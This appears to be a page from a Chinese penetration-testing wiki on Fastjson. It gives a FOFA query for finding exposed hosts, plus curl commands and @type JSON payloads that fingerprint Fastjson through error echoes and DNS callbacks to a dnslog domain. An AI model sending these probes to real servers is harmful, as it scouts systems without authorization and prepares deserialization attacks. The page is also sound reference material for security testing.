menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right POChouse-main chevron_right Fastjson
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    lightbulb_outline README

    应用简介

    Fastjson是阿里巴巴公司开源的一款JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。

    它采用一种“假定有序快速匹配”的算法,把JSON Parse的性能提升到极致,是目前Java语言中最快的JSON库。Fastjson接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

    相关资产

    FOFA

    app="Fastjson"

    识别方法

    如果站点有原始报错回显,可以用不闭合花括号的方式进行报错回显

    curl http://192.168.2.133:32768/ -H "Content-Type: application/json" --data '{{"@type":"java.net.URL","val":"mx2guq.dnslog.cn"}:0'
    #payload
    {"a":"
    {{"@type":"java.net.URL","val":"dnslog"}:0
    #匹配特征
    http.code=500 && "Internal Server Error" in body

    还可以通过DNS回显的方式检测后端是否使用Fastjson

    curl http://x.x.x.x:8090/ -H "Content-Type: application/json" --data '{{"@type":"java.net.URL","val":"dnslog"}:0'

    1.2.67版本前

    {"zeo":{"@type":"java.net.Inet4Address","val":"dnslog"}}

    1.2.67版本后payload

    {"@type":"java.net.Inet4Address","val":"dnslog"}

    环境搭建

    https://www.runoob.com/w3cnote/fastjson-intro.html

    https://www.cnblogs.com/hei-zi/p/13274272.html

    不出网利用

    @flashine {fastjson 不出网利用总结}